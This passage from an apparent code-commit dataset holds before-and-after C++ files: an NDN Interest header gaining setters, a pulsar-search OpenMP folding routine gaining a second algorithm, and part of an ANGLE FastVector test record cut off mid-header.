notify->pulse_if_not_already_pulsed();\n            }\n        });\n    {\n        typename watchable_t<value2_t>::freeze_t freeze(input2);\n        subs.reset(input2, &freeze);\n    }\n    while (true) {\n        cond_t cond;\n        assignment_sentry_t<cond_t *> sentry(&notify, &cond);\n        bool ok;\n        input2->apply_read(\n            [&](const value2_t *value2) {\n                ok = fun(input1, *value2);\n            });\n        if (ok) {\n            return;\n        }\n        signal_timer_t timeout;\n        timeout.start(nap_before_retry_ms);\n        wait_interruptible(&timeout, interruptor);\n        wait_interruptible(&cond, interruptor);\n    }\n}\n\n#endif \/* CLUSTERING_REACTOR_REACTOR_HPP_ *\/\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @author: Jeff Thompson\n * See COPYING for copyright and distribution information.\n *\/\n\n#ifndef NDN_INTEREST_HPP\n#define\tNDN_INTEREST_HPP\n\n#include <vector>\n#include \"Name.hpp\"\n#include \"c\/Interest.h\"\n\nnamespace ndn {\n  \nclass ExcludeEntry {\npublic:\n  \/**\n   * Create an ExcludeEntry of type ndn_Exclude_ANY\n   *\/\n  ExcludeEntry()\n  : type_(ndn_Exclude_ANY)\n  {    \n  }\n  \n  \/**\n   * Create an ExcludeEntry of type ndn_Exclude_COMPONENT\n   *\/\n  ExcludeEntry(unsigned char *component, unsigned int componentLen) \n  : type_(ndn_Exclude_COMPONENT), component_(component, component + componentLen)\n  {\n  }\n  \n  \/**\n   * Set the type in the excludeEntryStruct and to point to this component, without copying any memory.\n   * WARNING: The resulting pointer in excludeEntryStruct is invalid after a further use of this object which could reallocate memory.\n   * @param excludeEntryStruct the C ndn_NameComponent struct to receive the pointer.\n   *\/\n  void get(struct ndn_ExcludeEntry &excludeEntryStruct) const \n  {\n    excludeEntryStruct.type = type_;\n    if (type_ == ndn_Exclude_COMPONENT) {\n      excludeEntryStruct.componentLength = component_.size();\n      excludeEntryStruct.component = (unsigned char *)&component_[0];\n    }\n  }\n  \n  ndn_ExcludeType getType() const { return type_; }\n  \n  const std::vector<unsigned char> &getComponent() const { return component_; }\n  \nprivate:\n  ndn_ExcludeType type_;\n  std::vector<unsigned char> component_; \/**< only used if type_ is ndn_Exclude_COMPONENT *\/\n}; \n  \nclass Exclude {\npublic:\n  \/**\n   * Create a new Exclude with no entries.\n   *\/\n  Exclude() {\n  }\n  \n  unsigned int getEntryCount() const {\n    return entries_.size();\n  }\n  \n  const ExcludeEntry &getEntry(unsigned int i) const { return entries_[i]; }\n  \n  \/**\n   * Set the excludeStruct to point to the entries in this exclude, without copying any memory.\n   * WARNING: The resulting pointers in excludeStruct are invalid after a further use of this object which could reallocate memory.\n   * @param excludeStruct a C ndn_Exclude struct where the entries array is already allocated.\n   *\/\n  void get(struct ndn_Exclude &excludeStruct) const;\n  \n  \/**\n   * Clear this exclude, and set the entries by copying from the ndn_Exclude struct.\n   * @param excludeStruct a C ndn_Exclude struct\n   *\/\n  void set(struct ndn_Exclude &excludeStruct);\n\n  \/**\n   * Add a new entry of type ndn_Exclude_ANY\n   *\/\n  void addAny()\n  {    \n    entries_.push_back(ExcludeEntry());\n  }\n  \n  \/**\n   * Add a new entry of type ndn_Exclude_COMPONENT, copying from component of length compnentLength\n   *\/\n  void addComponent(unsigned char *component, unsigned int componentLen) \n  {\n    entries_.push_back(ExcludeEntry(component, componentLen));\n  }\n  \n  \/**\n   * Clear all the entries.\n   *\/\n  void clear() {\n    entries_.clear();\n  }\n  \nprivate:\n\tstd::vector<ExcludeEntry> entries_;\n};\n\nclass Interest {\npublic:    \n  void encode(std::vector<unsigned char> &output, WireFormat &wireFormat) const \n  {\n    wireFormat.encodeInterest(*this, output);\n  }\n  void encode(std::vector<unsigned char> &output) const \n  {\n    encode(output, BinaryXMLWireFormat::instance());\n  }\n  void decode(const unsigned char *input, unsigned int inputLength, WireFormat &wireFormat) \n  {\n    wireFormat.decodeInterest(*this, input, inputLength);\n  }\n  void decode(const unsigned char *input, unsigned int inputLength) \n  {\n    decode(input, inputLength, BinaryXMLWireFormat::instance());\n  }\n  void decode(const std::vector<unsigned char> &input, WireFormat &wireFormat) \n  {\n    decode(&input[0], input.size(), wireFormat);\n  }\n  void decode(const std::vector<unsigned char> &input) \n  {\n    decode(&input[0], input.size());\n  }\n  \n  \/**\n   * Set the interestStruct to point to the components in this interest, without copying any memory.\n   * WARNING: The resulting pointers in interestStruct are invalid after a further use of this object which could reallocate memory.\n   * @param interestStruct a C ndn_Interest struct where the name components array is already allocated.\n   *\/\n  void get(struct ndn_Interest &interestStruct) const;\n\n  Name &getName() { return name_; }\n  const Name &getName() const { return name_; }\n  \n  int getMinSuffixComponents() const { return minSuffixComponents_; }\n  \n  int getMaxSuffixComponents() const { return maxSuffixComponents_; }\n  \n  const std::vector<unsigned char> getPublisherPublicKeyDigest() const { return publisherPublicKeyDigest_; }\n\n  Exclude &getExclude() { return exclude_; }\n  const Exclude &getExclude() const { return exclude_; }\n  \n  int getChildSelector() const { return childSelector_; }\n\n  int getAnswerOriginKind() const { return answerOriginKind_; }\n\n  int getScope() const { return scope_; }\n\n  int getInterestLifetime() const { return interestLifetime_; }\n\n  const std::vector<unsigned char> getNonce() const { return nonce_; }\n  \n  \/**\n   * Clear this interest, and set the values by copying from the interest struct.\n   * @param interestStruct a C ndn_Interest struct\n   *\/\n  void set(struct ndn_Interest &interestStruct);\n\nprivate:\n  \n  Name name_;\n\tint minSuffixComponents_;\n\tint maxSuffixComponents_;\t\n\tstd::vector<unsigned char> publisherPublicKeyDigest_;\n  Exclude exclude_;\n\tint childSelector_;\n\tint answerOriginKind_;\n\tint scope_;\n\tint interestLifetime_;\n\tstd::vector<unsigned char> nonce_;\n};\n  \n}\n\n#endif\n<commit_msg>Added setter methods.<commit_after>\/**\n * @author: Jeff Thompson\n * See COPYING for copyright and distribution information.\n *\/\n\n#ifndef NDN_INTEREST_HPP\n#define\tNDN_INTEREST_HPP\n\n#include <vector>\n#include \"Name.hpp\"\n#include \"c\/Interest.h\"\n\nnamespace ndn {\n  \nclass ExcludeEntry {\npublic:\n  \/**\n   * Create an ExcludeEntry of type ndn_Exclude_ANY\n   *\/\n  ExcludeEntry()\n  : type_(ndn_Exclude_ANY)\n  {    \n  }\n  \n  \/**\n   * Create an ExcludeEntry of type ndn_Exclude_COMPONENT\n   *\/\n  ExcludeEntry(unsigned char *component, unsigned int componentLen) \n  : type_(ndn_Exclude_COMPONENT), component_(component, component + componentLen)\n  {\n  }\n  \n  \/**\n   * Set the type in the excludeEntryStruct and to point to this component, without copying any memory.\n   * WARNING: The resulting pointer in excludeEntryStruct is invalid after a further use of this object which could reallocate memory.\n   * @param excludeEntryStruct the C ndn_NameComponent struct to receive the pointer.\n   *\/\n  void get(struct ndn_ExcludeEntry &excludeEntryStruct) const \n  {\n    excludeEntryStruct.type = type_;\n    if (type_ == ndn_Exclude_COMPONENT) {\n      excludeEntryStruct.componentLength = component_.size();\n      excludeEntryStruct.component = (unsigned char *)&component_[0];\n    }\n  }\n  \n  ndn_ExcludeType getType() const { return type_; }\n  \n  const std::vector<unsigned char> &getComponent() const { return component_; }\n  \nprivate:\n  ndn_ExcludeType type_;\n  std::vector<unsigned char> component_; \/**< only used if type_ is ndn_Exclude_COMPONENT *\/\n}; \n  \nclass Exclude {\npublic:\n  \/**\n   * Create a new Exclude with no entries.\n   *\/\n  Exclude() {\n  }\n  \n  unsigned int getEntryCount() const {\n    return entries_.size();\n  }\n  \n  const ExcludeEntry &getEntry(unsigned int i) const { return entries_[i]; }\n  \n  \/**\n   * Set the excludeStruct to point to the entries in this exclude, without copying any memory.\n   * WARNING: The resulting pointers in excludeStruct are invalid after a further use of this object which could reallocate memory.\n   * @param excludeStruct a C ndn_Exclude struct where the entries array is already allocated.\n   *\/\n  void get(struct ndn_Exclude &excludeStruct) const;\n  \n  \/**\n   * Clear this exclude, and set the entries by copying from the ndn_Exclude struct.\n   * @param excludeStruct a C ndn_Exclude struct\n   *\/\n  void set(struct ndn_Exclude &excludeStruct);\n\n  \/**\n   * Add a new entry of type ndn_Exclude_ANY\n   *\/\n  void addAny()\n  {    \n    entries_.push_back(ExcludeEntry());\n  }\n  \n  \/**\n   * Add a new entry of type ndn_Exclude_COMPONENT, copying from component of length compnentLength\n   *\/\n  void addComponent(unsigned char *component, unsigned int componentLen) \n  {\n    entries_.push_back(ExcludeEntry(component, componentLen));\n  }\n  \n  \/**\n   * Clear all the entries.\n   *\/\n  void clear() {\n    entries_.clear();\n  }\n  \nprivate:\n\tstd::vector<ExcludeEntry> entries_;\n};\n\nclass Interest {\npublic:    \n  void encode(std::vector<unsigned char> &output, WireFormat &wireFormat) const \n  {\n    wireFormat.encodeInterest(*this, output);\n  }\n  void encode(std::vector<unsigned char> &output) const \n  {\n    encode(output, BinaryXMLWireFormat::instance());\n  }\n  void decode(const unsigned char *input, unsigned int inputLength, WireFormat &wireFormat) \n  {\n    wireFormat.decodeInterest(*this, input, inputLength);\n  }\n  void decode(const unsigned char *input, unsigned int inputLength) \n  {\n    decode(input, inputLength, BinaryXMLWireFormat::instance());\n  }\n  void decode(const std::vector<unsigned char> &input, WireFormat &wireFormat) \n  {\n    decode(&input[0], input.size(), wireFormat);\n  }\n  void decode(const std::vector<unsigned char> &input) \n  {\n    decode(&input[0], input.size());\n  }\n  \n  \/**\n   * Set the interestStruct to point to the components in this interest, without copying any memory.\n   * WARNING: The resulting pointers in interestStruct are invalid after a further use of this object which could reallocate memory.\n   * @param interestStruct a C ndn_Interest struct where the name components array is already allocated.\n   *\/\n  void get(struct ndn_Interest &interestStruct) const;\n\n  Name &getName() { return name_; }\n  const Name &getName() const { return name_; }\n  \n  int getMinSuffixComponents() const { return minSuffixComponents_; }\n  \n  int getMaxSuffixComponents() const { return maxSuffixComponents_; }\n  \n  const std::vector<unsigned char> getPublisherPublicKeyDigest() const { return publisherPublicKeyDigest_; }\n\n  Exclude &getExclude() { return exclude_; }\n  const Exclude &getExclude() const { return exclude_; }\n  \n  int getChildSelector() const { return childSelector_; }\n\n  int getAnswerOriginKind() const { return answerOriginKind_; }\n\n  int getScope() const { return scope_; }\n\n  int getInterestLifetime() const { return interestLifetime_; }\n\n  const std::vector<unsigned char> getNonce() const { return nonce_; }\n  \n  \/**\n   * Clear this interest, and set the values by copying from the interest struct.\n   * @param interestStruct a C ndn_Interest struct\n   *\/\n  void set(struct ndn_Interest &interestStruct);\n  \n  void setMinSuffixComponents(int value) { minSuffixComponents_ = value; }\n  \n  void setMaxSuffixComponents(int value) { maxSuffixComponents_ = value; }\n  \n  void setPublisherPublicKeyDigest(const std::vector<unsigned char> &value) { publisherPublicKeyDigest_ = value; }\n\n  void setChildSelector(int value) { childSelector_ = value; }\n\n  void setAnswerOriginKind(int value) { answerOriginKind_ = value; }\n\n  void setScope(int value) { scope_ = value; }\n\n  void setInterestLifetime(int value) { interestLifetime_ = value; }\n\n  void setNonce(const std::vector<unsigned char> &value) { nonce_ = value; }\n  \nprivate:\n  \n  Name name_;\n\tint minSuffixComponents_;\n\tint maxSuffixComponents_;\t\n\tstd::vector<unsigned char> publisherPublicKeyDigest_;\n  Exclude exclude_;\n\tint childSelector_;\n\tint answerOriginKind_;\n\tint scope_;\n\tint interestLifetime_;\n\tstd::vector<unsigned char> nonce_;\n};\n  \n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2013\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <string>\n#include <vector>\n#include <cmath>\n#include <x86intrin.h>\n#include <omp.h>\nusing std::string;\nusing std::vector;\nusing std::make_pair;\nusing std::pow;\nusing std::ceil;\n\n#include <Observation.hpp>\nusing AstroData::Observation;\n\n\n#ifndef FOLDING_CPU_HPP\n#define FOLDING_CPU_HPP\n\nnamespace PulsarSearch {\n\n\/\/ OpenMP folding algorithm\ntemplate< typename T > void folding(const unsigned int second, const Observation< T > & observation, const T * const __restrict__ samples, T * const __restrict__ bins, unsigned int * const __restrict__ counters);\n\n\n\/\/ Implementation\ntemplate< typename T > void folding(const unsigned int second, const Observation< T > & observation, const T * const __restrict__ samples, T * const __restrict__ bins, unsigned int * const __restrict__ counters) {\n\tfor ( unsigned int globalSample = 0; globalSample < observation.getNrSamplesPerSecond(); globalSample++ ) {\n\t\tconst unsigned int sample = ( second * observation.getNrSamplesPerSecond() ) + globalSample;\n\n\t\t#pragma omp parallel for schedule(static)\n\t\tfor ( unsigned int periodIndex = 0; periodIndex < observation.getNrPeriods(); periodIndex++ ) {\n\t\t\tconst unsigned int periodValue = observation.getNrBins() * (periodIndex + 1);\n\t\t\tconst float phase = ( sample \/ static_cast< float >(periodValue) ) - ( sample \/ periodValue );\n\t\t\tconst unsigned int bin = static_cast< unsigned int >(phase * static_cast< float >(observation.getNrBins()));\n\t\t\t\n\t\t\t#pragma omp parallel for schedule(static)\n\t\t\tfor ( unsigned int dm = 0; dm < observation.getNrDMs(); dm++ ) {\n\t\t\t\tconst unsigned int globalItem = (bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (periodIndex * observation.getNrPaddedDMs()) + dm;\n\t\t\t\tT cValue = samples[(globalSample * observation.getNrPaddedDMs()) + dm];\n\t\t\t\tconst unsigned int pCounter = counters[globalItem];\n\t\t\t\tconst T pValue = bins[globalItem];\n\t\t\t\tunsigned int cCounter = pCounter + 1;\n\n\t\t\t\tif ( pCounter != 0 ) {\n\t\t\t\t\tcValue = pValue + ( ( cValue - pValue ) \/ cCounter );\n\t\t\t\t}\n\t\t\t\tbins[globalItem] = cValue;\n\t\t\t\tcounters[globalItem] = cCounter;\n\t\t\t}\n\t\t}\n\t}\n}\n\n} \/\/ PulsarSearch\n\n#endif \/\/ FOLDING_CPU_HPP<commit_msg>Implemented a second algorithm for the CPU. This algorithm matches the OpenCL implementation.<commit_after>\/*\n * Copyright (C) 2013\n * Alessio Sclocco <a.sclocco@vu.nl>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include <string>\n#include <vector>\n#include <cmath>\n#include <x86intrin.h>\n#include <omp.h>\nusing std::string;\nusing std::vector;\nusing std::make_pair;\nusing std::pow;\nusing std::ceil;\n\n#include <Observation.hpp>\nusing AstroData::Observation;\n\n\n#ifndef FOLDING_CPU_HPP\n#define FOLDING_CPU_HPP\n\nnamespace PulsarSearch {\n\n\/\/ OpenMP folding algorithm\ntemplate< typename T > void folding(const unsigned int second, const Observation< T > & observation, const T * const __restrict__ samples, T * const __restrict__ bins, unsigned int * const __restrict__ counters);\ntemplate< typename T > void folding(const Observation< T > & observation, const T * const __restrict__ samples, T * const __restrict__ bins, unsigned int * const __restrict__ counters);\n\n\n\/\/ Implementation\ntemplate< typename T > void folding(const unsigned int second, const Observation< T > & observation, const T * const __restrict__ samples, T * const __restrict__ bins, unsigned int * const __restrict__ counters) {\n\tfor ( unsigned int globalSample = 0; globalSample < observation.getNrSamplesPerSecond(); globalSample++ ) {\n\t\tconst unsigned int sample = ( second * observation.getNrSamplesPerSecond() ) + globalSample;\n\n\t\t#pragma omp parallel for schedule(static)\n\t\tfor ( unsigned int periodIndex = 0; periodIndex < observation.getNrPeriods(); periodIndex++ ) {\n\t\t\tconst unsigned int periodValue = observation.getNrBins() * (periodIndex + 1);\n\t\t\tconst float phase = ( sample \/ static_cast< float >(periodValue) ) - ( sample \/ periodValue );\n\t\t\tconst unsigned int bin = static_cast< unsigned int >(phase * static_cast< float >(observation.getNrBins()));\n\t\t\t\n\t\t\t#pragma omp parallel for schedule(static)\n\t\t\tfor ( unsigned int dm = 0; dm < observation.getNrDMs(); dm++ ) {\n\t\t\t\tconst unsigned int globalItem = (bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (periodIndex * observation.getNrPaddedDMs()) + dm;\n\t\t\t\tT cValue = samples[(globalSample * observation.getNrPaddedDMs()) + dm];\n\t\t\t\tconst unsigned int pCounter = counters[globalItem];\n\t\t\t\tconst T pValue = bins[globalItem];\n\t\t\t\tunsigned int cCounter = pCounter + 1;\n\n\t\t\t\tif ( pCounter != 0 ) {\n\t\t\t\t\tcValue = pValue + ( ( cValue - pValue ) \/ cCounter );\n\t\t\t\t}\n\t\t\t\tbins[globalItem] = cValue;\n\t\t\t\tcounters[globalItem] = cCounter;\n\t\t\t}\n\t\t}\n\t}\n}\n\ntemplate< typename T > void folding(const Observation< T > & observation, const T * const __restrict__ samples, T * const __restrict__ bins, unsigned int * const __restrict__ counters) {\n\t#pragma omp parallel for schedule(static)\n\tfor ( unsigned int periodIndex = 0; periodIndex < observation.getNrPeriods(); periodIndex++ ) {\n\t\tunsigned int periodValue = (periodIndex + 1) * observation.getNrBins();\n\n\t\tfor ( unsigned int bin = 0; bin < observation.getNrBins(); bin++ ) {\n\t\t\tfor ( unsigned int dm = 0; dm < observation.getNrDMs(); dm++ ) {\n\t\t\t\tconst unsigned int pCounter = counters[(bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (periodIndex * observation.getNrPaddedDMs()) + dm];\n\t\t\t\tunsigned int sample = (bin * periodIndex) + bin + ((pCounter \/ (periodIndex + 1)) * periodValue) + (pCounter % (periodIndex + 1));\n\t\t\t\tT foldedSample = 0;\n\t\t\t\tunsigned int foldedCounter = 0;\n\n\t\t\t\tif ( (sample % observation.getNrSamplesPerSecond()) == 0 ) {\n\t\t\t\t\tsample = 0;\n\t\t\t\t} else {\n\t\t\t\t\tsample = (sample % observation.getNrSamplesPerSecond()) - (sample \/ observation.getNrSamplesPerSecond());\n\t\t\t\t}\n\t\t\t\twhile ( sample < observation.getNrSamplesPerSecond() ) {\n\t\t\t\t\tfoldedSample += samples[(sample * observation.getNrPaddedDMs()) + dm];\n\t\t\t\t\tfoldedCounter++;\n\n\t\t\t\t\tif ( (foldedCounter + pCounter) % (periodIndex + 1) == 0 ) {\n\t\t\t\t\t\tsample += periodValue;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsample++;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( foldedCounter > 0 ) {\n\t\t\t\t\tconst T pValue = bins[(bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (periodIndex * observation.getNrPaddedDMs()) + dm];\n\t\t\t\t\tfloat addedFraction = static_cast< float >(foldedCounter) \/ (foldedCounter + pCounter);\n\n\t\t\t\t\tfoldedSample \/= foldedCounter;\n\t\t\t\t\tcounters[(bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (periodIndex * observation.getNrPaddedDMs()) + dm] = pCounter + foldedCounter;\n\t\t\t\t\tbins[(bin * observation.getNrPeriods() * observation.getNrPaddedDMs()) + (periodIndex * observation.getNrPaddedDMs()) + dm] = (addedFraction * foldedSample) + ((1.0f - addedFraction) * pValue);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n} \/\/ PulsarSearch\n\n#endif \/\/ FOLDING_CPU_HPP<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright 2018 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ FixedVector_unittest:\n\/\/   Tests of the FastVector class\n\/\/\n\n#include <gtest\/gtest.h>\n\n#include \"common\/FastVector.h\"\n\nnamespace angle\n{\n\/\/ Make sure the various constructors compile and do basic checks\nTEST(FastVector, Constructors)\n{\n    FastVector<int, 5> defaultContructor;\n    EXPECT_EQ(0u, defaultContructor.size());\n\n    FastVector<int, 5> count(3);\n    EXPECT_EQ(3u, count.size());\n\n    FastVector<int, 5> countAndValue(3, 2);\n    EXPECT_EQ(3u, countAndValue.size());\n    EXPECT_EQ(2, countAndValue[1]);\n\n    FastVector<int, 5> copy(countAndValue);\n    EXPECT_EQ(copy, countAndValue);\n\n    FastVector<int, 5> copyRValue(std::move(count));\n    EXPECT_EQ(3u, copyRValue.size());\n\n    FastVector<int, 5> initializerList{1, 2, 3, 4, 5};\n    EXPECT_EQ(5u, initializerList.size());\n    EXPECT_EQ(3, initializerList[2]);\n\n    FastVector<int, 5> assignCopy(copyRValue);\n    EXPECT_EQ(3u, assignCopy.size());\n\n    FastVector<int, 5> assignRValue(std::move(assignCopy));\n    EXPECT_EQ(3u, assignRValue.size());\n\n    FastVector<int, 5> assignmentInitializerList = {1, 2, 3, 4, 5};\n    EXPECT_EQ(5u, assignmentInitializerList.size());\n    EXPECT_EQ(3, assignmentInitializerList[2]);\n}\n\n\/\/ Test indexing operations (at, operator[])\nTEST(FastVector, Indexing)\n{\n    FastVector<int, 5> vec = {0, 1, 2, 3, 4};\n    for (int i = 0; i < 5; ++i)\n    {\n        EXPECT_EQ(i, vec.at(i));\n        EXPECT_EQ(vec[i], vec.at(i));\n    }\n}\n\n\/\/ Test the push_back functions\nTEST(FastVector, PushBack)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    EXPECT_EQ(1, vec[0]);\n    vec.push_back(1);\n    vec.push_back(1);\n    vec.push_back(1);\n    vec.push_back(1);\n    EXPECT_EQ(5u, vec.size());\n}\n\n\/\/ Tests growing the fast vector beyond the fixed storage.\nTEST(FastVector, Growth)\n{\n    constexpr size_t kSize = 4;\n    FastVector<size_t, kSize> vec;\n\n    for (size_t i = 0; i < kSize * 2; ++i)\n    {\n        vec.push_back(i);\n    }\n\n    EXPECT_EQ(kSize * 2, vec.size());\n\n    for (size_t i = kSize * 2; i > 0; --i)\n    {\n        ASSERT_EQ(vec.back(), i - 1);\n        vec.pop_back();\n    }\n\n    EXPECT_EQ(0u, vec.size());\n}\n\n\/\/ Test the pop_back function\nTEST(FastVector, PopBack)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    EXPECT_EQ(1, (int)vec.size());\n    vec.pop_back();\n    EXPECT_EQ(0, (int)vec.size());\n}\n\n\/\/ Test the back function\nTEST(FastVector, Back)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    vec.push_back(2);\n    EXPECT_EQ(2, vec.back());\n}\n\n\/\/ Test the back function\nTEST(FastVector, Front)\n{\n    FastVector<int, 5> vec;\n    vec.push_back(1);\n    vec.push_back(2);\n    EXPECT_EQ(1, vec.front());\n}\n\n\/\/ Test the sizing operations\nTEST(FastVector, Size)\n{\n    FastVector<int, 5> vec;\n    EXPECT_TRUE(vec.empty());\n    EXPECT_EQ(0u, vec.size());\n\n    vec.push_back(1);\n    EXPECT_FALSE(vec.empty());\n    EXPECT_EQ(1u, vec.size());\n}\n\n\/\/ Test clearing the vector\nTEST(FastVector, Clear)\n{\n    FastVector<int, 5> vec = {0, 1, 2, 3, 4};\n    vec.clear();\n    EXPECT_TRUE(vec.empty());\n}\n\n\/\/ Test clearing the vector larger than the fixed size.\nTEST(FastVector, ClearWithLargerThanFixedSize)\n{\n    FastVector<int, 3> vec = {0, 1, 2, 3, 4};\n    vec.clear();\n    EXPECT_TRUE(vec.empty());\n}\n\n\/\/ Test resizing the vector\nTEST(FastVector, Resize)\n{\n    FastVector<int, 5> vec;\n    vec.resize(5u, 1);\n    EXPECT_EQ(5u, vec.size());\n    for (int i : vec)\n    {\n        EXPECT_EQ(1, i);\n    }\n\n    vec.resize(2u);\n    EXPECT_EQ(2u, vec.size());\n    for (int i : vec)\n    {\n        EXPECT_EQ(1, i);\n    }\n\n    \/\/ Resize to larger than minimum\n    vec.resize(10u, 2);\n    EXPECT_EQ(10u, vec.size());\n\n    for (size_t index = 0; index < 2u; ++index)\n    {\n        EXPECT_EQ(1, vec[index]);\n    }\n    for (size_t index = 2u; index < 10u; ++index)\n    {\n        EXPECT_EQ(2, vec[index]);\n    }\n\n    \/\/ Resize back to smaller\n    vec.resize(2u, 2);\n    EXPECT_EQ(2u, vec.size());\n}\n\n\/\/ Test iterating over the vector\nTEST(FastVector, Iteration)\n{\n    FastVector<int, 5> vec = {0, 1, 2, 3};\n\n    int vistedCount = 0;\n    for (int value : vec)\n    {\n        EXPECT_EQ(vistedCount, value);\n        vistedCount++;\n    }\n    EXPECT_EQ(4, vistedCount);\n}\n\n\/\/ Tests that equality comparisons work even if reserved size differs.\nTEST(FastVector, EqualityWithDifferentReservedSizes)\n{\n    FastVector<int, 3> vec1 = {1, 2, 3, 4, 5};\n    FastVector<int, 5> vec2 = {1, 2, 3, 4, 5};\n    EXPECT_EQ(vec1, vec2);\n    vec2.push_back(6);\n    EXPECT_NE(vec1, vec2);\n}\n\n\/\/ Tests vector operations with a non copyable type.\nTEST(FastVector, NonCopyable)\n{\n    struct s : angle::NonCopyable\n    {\n        s() : x(0) {}\n        s(int xin) : x(xin) {}\n        s(s &&other) : x(other.x) {}\n        s &operator=(s &&other)\n        {\n            x = other.x;\n            return *this;\n        }\n        int x;\n    };\n\n    FastVector<s, 3> vec;\n    vec.push_back(3);\n    EXPECT_EQ(3, vec[0].x);\n\n    FastVector<s, 3> copy = std::move(vec);\n    EXPECT_EQ(1u, copy.size());\n    EXPECT_EQ(3, copy[0].x);\n}\n\n\/\/ Basic functionality for FastUnorderedMap\nTEST(FastUnorderedMap, BasicUsage)\n{\n    FastUnorderedMap<int, bool, 3> testMap;\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n\n    testMap.insert(5, true);\n    EXPECT_TRUE(testMap.contains(5));\n    EXPECT_EQ(testMap.size(), 1u);\n\n    bool value = false;\n    EXPECT_TRUE(testMap.get(5, &value));\n    EXPECT_TRUE(value);\n    EXPECT_FALSE(testMap.get(6, &value));\n\n    EXPECT_FALSE(testMap.empty());\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n\n    for (int i = 0; i < 10; ++i)\n    {\n        testMap.insert(i, false);\n    }\n\n    EXPECT_FALSE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 10u);\n\n    for (int i = 0; i < 10; ++i)\n    {\n        EXPECT_TRUE(testMap.contains(i));\n        EXPECT_TRUE(testMap.get(i, &value));\n        EXPECT_FALSE(value);\n    }\n}\n\n\/\/ Basic functionality for FastUnorderedSet\nTEST(FastUnorderedSet, BasicUsage)\n{\n    FastUnorderedSet<int, 3> testMap;\n    EXPECT_TRUE(testMap.empty());\n\n    testMap.insert(5);\n    EXPECT_TRUE(testMap.contains(5));\n    EXPECT_FALSE(testMap.contains(6));\n    EXPECT_FALSE(testMap.empty());\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n\n    for (int i = 0; i < 10; ++i)\n    {\n        testMap.insert(i);\n    }\n\n    for (int i = 0; i < 10; ++i)\n    {\n        EXPECT_TRUE(testMap.contains(i));\n    }\n}\n\n\/\/ Basic functionality for FastIntegerSet\nTEST(FastIntegerSet, BasicUsage)\n{\n    FastIntegerSet testMap;\n    EXPECT_TRUE(testMap.empty());\n\n    testMap.insert(5);\n    EXPECT_TRUE(testMap.contains(5));\n    EXPECT_FALSE(testMap.contains(6));\n    EXPECT_FALSE(testMap.empty());\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n\n    for (int i = 0; i < 10; ++i)\n    {\n        testMap.insert(i);\n    }\n\n    for (int i = 0; i < 10; ++i)\n    {\n        EXPECT_TRUE(testMap.contains(i));\n    }\n}\n\n\/\/ Basic functionality for FastIntegerMap\nTEST(FastIntegerMap, BasicUsage)\n{\n    using KeyValuePair             = std::pair<int, std::string>;\n    std::set<KeyValuePair> entries = {KeyValuePair(17, \"testing\"), KeyValuePair(63, \"fast\"),\n                                      KeyValuePair(97, \"integer\"), KeyValuePair(256, \"map\")};\n\n    FastIntegerMap<std::string> testMap;\n    EXPECT_TRUE(testMap.empty());\n\n    std::string str;\n    testMap.insert(entries.begin()->first, entries.begin()->second);\n    EXPECT_TRUE(testMap.contains(entries.begin()->first));\n    EXPECT_FALSE(testMap.contains(entries.end()->first));\n    EXPECT_FALSE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 1u);\n    EXPECT_TRUE(testMap.get(entries.begin()->first, &str));\n    EXPECT_EQ(entries.begin()->second, str);\n    EXPECT_FALSE(testMap.get(1, &str));\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n\n    for (KeyValuePair entry : entries)\n    {\n        testMap.insert(entry.first, entry.second);\n    }\n    EXPECT_EQ(testMap.size(), 4u);\n\n    for (KeyValuePair entry : entries)\n    {\n        std::string str;\n        EXPECT_TRUE(testMap.get(entry.first, &str));\n        EXPECT_EQ(entry.second, str);\n    }\n\n    testMap.clear();\n    EXPECT_TRUE(testMap.empty());\n    EXPECT_EQ(testMap.size(), 0u);\n}\n}  \/\/ namespace angle\n<commit_msg>Fix ASAN issue with FastIntegerMap.BasicUsage<commit_after>\/\/\n\/\/ Copyright 2018 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ 